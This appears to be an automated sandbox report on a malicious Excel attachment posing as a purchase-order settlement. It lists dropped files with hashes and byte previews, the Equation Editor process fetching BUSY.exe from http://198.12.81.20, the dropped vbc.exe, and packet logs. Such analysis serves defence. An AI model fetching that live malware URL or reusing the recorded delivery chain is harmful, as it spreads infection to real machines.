IE Cache URL:	http://198.12.81.20/busy/BUSY.exe
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P............................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\3BF36CD9.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5CBD0238.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\5D623D4F.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	5.125773446782967
Encrypted:	false
SSDEEP:	48:KxK48S3oEL48I+KL48uL48kL48tnL48I0L48Ih2L48Ls4fnPK6L48tOL48bCb3RM:KxKS3okSuEtN1O2FfUcM
MD5:	30935B0D56A69E2E57355F8033ADF98B
SHA1:	5F7C13E36023A1B3B3DAF030291C02631347C2AB
SHA-256:	077232D301E2DF2E2702BD9E7323806AC20134F989C8A4102403ECBF5E91485E
SHA-512:	5D633D1EC5559443D3DA5FAD2C0CFC5DBF6A006EF6FBEE8C47595A916A899FBDF713897289E99EE62C07B52CCB61578253791AC57712DF040469F21287A742E9
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	.....F.>...u........R........................u.F.............................-...................".....-...........................".....-....................-...........F...$.!.....!......2...9...?...C...F...G...F...C...?...9...2......!.........................................................................................-...............-.......-....................-...............$...[...6._...x.[.......-...............-.......-....................-...............$...o.D...x.#.w...G.o.D.....-...............-.......-....................-...............$.........!.V.{...y.............-...............-.......-....................-...............$.....M.w...n.@.[.....M.....-...............-.......-....................-...............$.......f...Q...........-...............-.......-....................-...............$...'.U.....K...'.U.....-...............-.......-....................-...............$.c...u...\...D...,.........j...S...=...%.........x...c...N...:...&.v...p...

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\A9EBFD06.wmf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	ms-windows metafont .wmf
Category:	dropped
Size (bytes):	4630
Entropy (8bit):	5.070400845866794
Encrypted:	false
SSDEEP:	96:RmljFSTwLmSaj2W67xYK2dlEtF622okgmCCHtkTl9ggBgThsMihEylB8By98Rj:UlRSkCSajh6tL2dlEtFV2VgmVNkTl9gJ
MD5:	1A4FF280B6D51A6ED16C3720AF1CD6EE
SHA1:	277878BEF42DAC8BB79E15D3229D7EEC37CE22D9
SHA-256:	E5D86DD19EE52EBE2DA67837BA4C64454E26B7593FAC8003976D74FF848956E7
SHA-512:	3D41BAF77B0BEEF85C112FCBD3BE30E940AF1E586C4F9925DBDD67544C5834ED794D0042A6F6FF272B21D1106D798CBB05FA2848A788A3DAFE9CFBC8574FCECA
Malicious:	false
Preview:	...................[R..................................D.^...................-...................".....-...........................".....-.....................-...............$...........o.............................-...............-.......-.....................-...............$.......W.....i...T.........-...............-.......-.....................-...........>...$.....~.........................z...m.....H.v.....?.........................\|...r...f...Z...L...>...0... .............~.....-...............-.......-.....................-...........6...$.....................................-...?...U...n...........!...!.........................................-...............-.......-.....................-...........8...$.......................s...e.g.\.L.Y./.[..._...g...p...~.............'.../...L.v.g.i...V...@...'...............-...............-.......-.....................-........... ...$.......................r...{...................................-...............-.......-...........

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\D8559C53.emf

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Windows Enhanced Metafile (EMF) image data version 0x10000
Category:	dropped
Size (bytes):	223752
Entropy (8bit):	3.2805343869701504
Encrypted:	false
SSDEEP:	1536:gAGsM8yOYZWQ99d99H9999999lN6Hz8iiiiiiiiiiiiiiiPnHnbq+QVwtaKfdL4a:gMMVNSztnZft6rMMVNSztnZft6u
MD5:	8E3A74F7AA420B02D34C69E625969C0A
SHA1:	4743F57F0F702C5B47FA1668D9173E08ADA16448
SHA-256:	0CD83C55739629F98FE6AFD3E25A5BCBB346CBEF58BC592C1260E9F0FA8575A9
SHA-512:	ADE6B91E260AFA08CC286471D0AD7BCA82FF5E1FE506D48B37A13E3CDD2717171CDAC38C77CFF18FD4C26CA9470B002B63B7FDDC0466FC6F7010A772BF557054
Malicious:	false
Preview:	....l................................... EMF.....j..........................8...X....................?......F...........GDIC...............p.........8.........................F...........................A. ...........F.......(....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\bn5z71pvulub10vjar

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	167423
Entropy (8bit):	7.991030598002282
Encrypted:	true
SSDEEP:	3072:z1F74Q5ZD00MiVOYj9zJCzR9WNT6E2CA22/VG6QF574Br1q:z1FkqlVOUIzAZzaVGRGBr1q
MD5:	40FF96237005585BB3469F7844D579EA
SHA1:	CB38299275DA36B767A8EDD8AF4546CF0165B6D6
SHA-256:	81B2280B25F3F4BEF5A87D35291A9D6FD9D57E754FFDE05628663AC65F324257
SHA-512:	52E449F89A8F97696A96C98142D01AC9C34753DECFC24365AB0FBD820E54482C1C61A8A05E69D21D77F32099C831355EB24F5196BF3CCF91CE3A5F4383C64466
Malicious:	false
Preview:	....?.V....t...c...u.2.. ..l...q.&.m..3...%......E.~..#...u....x.P..g9..Xq.....pi..@.\|.6.}..&...J.7.'...^....K#.....D..tqv...<..AH99y........bH...]../.e.......U^..t....^.'d....>#....2.O.-...K..3N.7.:.Z/d.Q4.,.SZ....[..U`..I'.#....9.A......g~..C.?.V.h#..e.......-...ha.l......m..3.....%......E.~..........VP...Rx:,..T.1...v.?.5.e.F....$.y...z1....JZ...q.....D......x4....xj.u..Zl....z..I.u...Fl...e...R..J?........'dk.L......k....-...d...TOy.".sd.Q4.,.,....H[......I.#x.....A.......g0..C.?.V....Ne...........ha.l...q.&.m..3...%......E.~..........VP...Rx:,..T.1...v.?.5.e.F....$.y...z1....JZ...q.....D......x4....xj.u..Zl....z..I.u...Fl...e...R..J?.....^.'d.g....._...O.-...d...TOy.:./d.Q4.,.,....H[......I.#x.....A.......g0..C.?.V....Ne...........ha.l...q.&.m..3...%......E.~..........VP...Rx:,..T.1...v.?.5.e.F....$.y...z1....JZ...q.....D......x4....xj.u..Zl....z..I.u...Fl...e...R..J?.....^.'d.g....._...O.-..*.d...TOy.:./d.Q4.,.,....H[.

C:\Users\user\AppData\Local\Temp\dknqrab

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	5418
Entropy (8bit):	6.08058386157834
Encrypted:	false
SSDEEP:	96:v5fm8CsQMHXy2ZcUqP0PkvET4Ua36tHDp22n2CXn23PNYi7JArcUN9zB+v0QUe6S:hfQ03pQvESkHc22823PNMr/99+vh6S
MD5:	05102B10AF50DD080DF138356B05637D
SHA1:	BFB1ABB77EA1CE16E41D207C10FF31D6509558AB
SHA-256:	865D3959F838A6F4D41B9CF369C5863A10CD322A5F0410FD03A577890166D891
SHA-512:	2318CD339F1F65991D59A43E2C30368AA1DBEE674A8149D21DC5E56C8274CFA01AAEEBECC44043E82B6DA804F01DBDB05D4180115FC9073967C1F11CC7416BBE
Malicious:	false
Preview:	.....u..[..k.o[E..'o.`'+e.'o.`'+e.[E..e."...[E...U&.U.e.j.....e..u..U&.U.e.j.....e.u..U&.U.e.j....e..u..U&.U.e.j....e..u.[].p.D..C...e&..e..u..e[....e.m.e.m....Dy..e..u...e.o..E.[..D......[.>%..E..U.y.U.t.U....U..y.U.w.U.x..N...&....f.:[..U..U..t.e.'%.e..E.......>.;...[.>-.E.xw.e.wxs.&.u....'o.`'+e.e...e&K:.e..m.......u.e.e....m...e.u..&.b..W.L....b.....b`..W.z..........b-v.W.h..........u..[."'o.`'+e.e....e..e.[]..N.e...e...e.e...e.....%...N..e.D.yC...-..n-..e.D.y....-..n-.D.D..C...%.jb`..W.....j.....e..'.e.j.U..d...e.[]..N.[E....e.....e....u..[..'o.`'+e.e."...e..e.[]..N.e...e...e.e...e........'^....e.D.yC...-..n-..e&.D.y....-..n-..e.D.y...-..n-..e...D.tC...5..f5..e.D.y....-..n-.D%D..C...%.jb..W.....j.....e.[]..N.e.m.../.U..U..U.U&.U......e.[]..N.[E....e.....e....u..[.6.e.*...e..e.[]..N.e...e...e.e...e........N..e.D.yC...-..n-.e&.D.y....-..n-.D.D..C...%.jb-v.W.....j.....e..(.U&.U....

C:\Users\user\AppData\Local\Temp\idcqz.exe

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80384
Entropy (8bit):	6.294165791913379
Encrypted:	false
SSDEEP:	1536:jugTaC+v1eUfr0oxAomP3cX/4pi2sWjcdQQI:Na5UUD1/ui5QL
MD5:	51F62DEF6DC686B87CC0BAFC31685546
SHA1:	C99222ABD6547D34DED56B44CC5818675D902F07
SHA-256:	9E398BB06FD1CBF54E40BFB36211CBD5C73AF57E652603C9B6A37A70DAB5AF4D
SHA-512:	1D4933E4C6BA61833174819B34F59C266B2CFD5B4DA3ED36DD9C2FB8AC047EF0C76B4DE173432E1451D7CD3A489511EA4223B8941EF5FAED0EB09E7A921CBD76
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........w...w...w...%`..w...%^..w...%a.w......w...w..w..p....w..p.~..w..p....w..Rich.w..................PE..L....?~b............................7.............@.......................................@..................................$.......p..................................T...............................@............................................text...U........................... ..`.rdata...N.......P..................@..@.data... 1...0......................@....rsrc........p.......*..............@..@.reloc...............,..............@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nswAB85.tmp

Download File

Process:	C:\Users\Public\vbc.exe
File Type:	data
Category:	dropped
Size (bytes):	263211
Entropy (8bit):	7.569144130803792
Encrypted:	false
SSDEEP:	3072:i1F74Q5ZD00MiVOYj9zJCzR9WNT6E2CA22/VG6QF574Br1X7a5UUD1/ui5QL:i1FkqlVOUIzAZzaVGRGBr1QUQU
MD5:	6EFB91B44285F8050C8CBCC272E54FDB
SHA1:	2B6B1160680ACA8809287FE2D055BA30963A04EE
SHA-256:	54719DDAC4D092D918795FD291A01E1F03A203C49AE742D6077D201E2622BFE5
SHA-512:	8AB0FB7A8751E406E164DCB3DE836558D7A9ACD3EC18700BC580535C8EC61B16657C304BDB303D34639847FA8F3510DFA9EFC5F890B53807714C700A8267541D
Malicious:	false
Preview:	.&......,...................O...........(&.......&..........................................................................................................................................................................................................................................G...................j.......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DF676A4AF24BE52768.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	CDFV2 Encrypted
Category:	dropped
Size (bytes):	95744
Entropy (8bit):	7.917920397581561
Encrypted:	false
SSDEEP:	1536:yXU9VxBJCTSeGZ2gbUh+WfVNjhqrBHKXplac20EUy:yX4nCTSedaUZtvqFHKecd
MD5:	E5C9C992C088A778A6348F4A58DD78D3
SHA1:	754F386DF06785DDD4CB4A04BED626CEAB65D5AB
SHA-256:	6B8FFB251308A2396F35780DF9376B329A6C741419DB44EA4F89D88ED932FBF2
SHA-512:	AD3AEB0EB38D9870289E91F385AC8490A94F9932033DF269F5BA9D2F0D5220A9228753F2ACAA3B16FA77B60FB6FAD4E6D385DA37C59B2ADCF770B04C9D03D601
Malicious:	false
Preview:	......................>................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................... ...!..."...#...$...%...&...'...(...)...*...+...,...-......./...0...1...2...3...4...5...6...7...8...9...:...;...<...=...>...?...@...A...B...C...D...E...F...G...H...I...J...K...L...M...N...O...P...Q...R...S...T...U...V...W...X...Y...Z...[...\...]...^..._...`...a...b...c...d...e...f...g...h...i...j...k...l...m...n...o...p...q...r...s...t...u...v...w...x...y...z...

C:\Users\user\AppData\Local\Temp\~DF6A1E229B1B4407B7.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFCE6EE0378A984A97.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFEB8550F8DC457C8E.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\~$PO 65738963578 Revise Settlement.xlsx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	165
Entropy (8bit):	1.4377382811115937
Encrypted:	false
SSDEEP:	3:vZ/FFDJw2fV:vBFFGS
MD5:	797869BB881CFBCDAC2064F92B26E46F
SHA1:	61C1B8FBF505956A77E9A79CE74EF5E281B01F4B
SHA-256:	D4E4008DD7DFB936F22D9EF3CC569C6F88804715EAB8101045BA1CD0B081F185
SHA-512:	1B8350E1500F969107754045EB84EA9F72B53498B1DC05911D6C7E771316C632EA750FBCE8AD3A82D664E3C65CC5251D0E4A21F750911AE5DC2FC3653E49F58D
Malicious:	true
Preview:	.user ..A.l.b.u.s. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C:\Users\Public\vbc.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows, Nullsoft Installer self-extracting archive
Category:	dropped
Size (bytes):	255769
Entropy (8bit):	7.906288840175113
Encrypted:	false
SSDEEP:	6144:LOtIOtWQ/YWOXDYv0RgaJ1LULzHgpZQR7ZnbpEBb7TLwV1Azo:LOLtX/DOEMRgUa8M1cbfLwDj
MD5:	029BBE98A216416EB698CA543A5C0830
SHA1:	A24173F1DAF45D7444E3C698C3AE09A540A818DD
SHA-256:	E73B7DE772353638ADDD480041E90A67F27D8D5B087BF222B1C6649C54B9CC57
SHA-512:	684ACD7F2302C8DEAE1FC81EC9E5811588692BA0F8A080FE26A959DBDE8159BAFD4906684ADE4639051ABAF563B4438F8BD99B115AB5D668A845A4DE9D2830BC
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........!`G.@...@...@../OQ..@...@..I@../OS..@...c>..@..+F...@..Rich.@..........................PE..L.....Oa.................h....:.....F6............@...........................;...........@...........................................;.P............................................................................................................text....g.......h.................. ..`.rdata...............l..............@..@.data.....9.........................@....ndata........:..........................rsrc...P.....;.....................@..@................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	CDFV2 Encrypted
Entropy (8bit):	7.917920397581561
TrID:	Generic OLE2 / Multistream Compound File (8008/1) 100.00%
File name:	PO 65738963578 Revise Settlement.xlsx
File size:	95744
MD5:	e5c9c992c088a778a6348f4a58dd78d3
SHA1:	754f386df06785ddd4cb4a04bed626ceab65d5ab
SHA256:	6b8ffb251308a2396f35780df9376b329a6c741419db44ea4f89d88ed932fbf2
SHA512:	ad3aeb0eb38d9870289e91f385ac8490a94f9932033df269f5ba9d2f0d5220a9228753f2acaa3b16fa77b60fb6fad4e6d385da37c59b2adcf770b04c9d03d601
SSDEEP:	1536:yXU9VxBJCTSeGZ2gbUh+WfVNjhqrBHKXplac20EUy:yX4nCTSedaUZtvqFHKecd
TLSH:	7C93F12EBE58CF14C62B52776C85D03D86986C02F5D2733B959CBE5A68B3CC08CA19F5
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4e2aa8aa4b4bcb4

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 13, 2022 16:42:02.339994907 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.455461025 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.455568075 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.456495047 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.572757959 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.572815895 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.572864056 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.572873116 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.572896004 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.572926044 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.572926998 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.572988033 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.573003054 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.573048115 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.573049068 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.573088884 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.573128939 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.573137045 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.573160887 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.573177099 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.573175907 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.573216915 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.573220968 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.573256969 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.590251923 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687007904 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687072039 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687144041 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687154055 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687174082 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687196970 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687227964 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687237024 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687262058 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687279940 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687294006 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687320948 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687346935 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687359095 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687398911 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687398911 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687421083 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687438965 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687464952 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687477112 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687495947 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687515974 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687525988 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687556028 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687587023 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687597036 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687613010 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687637091 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687673092 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687674046 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687705994 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687714100 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687720060 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687752962 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687777996 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687791109 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687808037 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687829971 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.687850952 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.687886000 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.691730976 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.801614046 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801680088 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801719904 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801728964 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.801759958 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801779032 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.801786900 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.801803112 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801806927 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.801842928 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801871061 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.801883936 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801892996 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.801923037 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801945925 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.801960945 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.801968098 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802000999 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.802022934 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802038908 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.802046061 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802078962 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.802094936 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802118063 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.802133083 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802158117 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.802187920 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802196980 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.802229881 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802234888 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.802252054 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802279949 CEST	80	49173	198.12.81.20	192.168.2.22
May 13, 2022 16:42:02.802294016 CEST	49173	80	192.168.2.22	198.12.81.20
May 13, 2022 16:42:02.802319050 CEST	80	49173	198.12.81.20	192.168.2.22

HTTP Request Dependency Graph

198.12.81.20

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49173	198.12.81.20	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
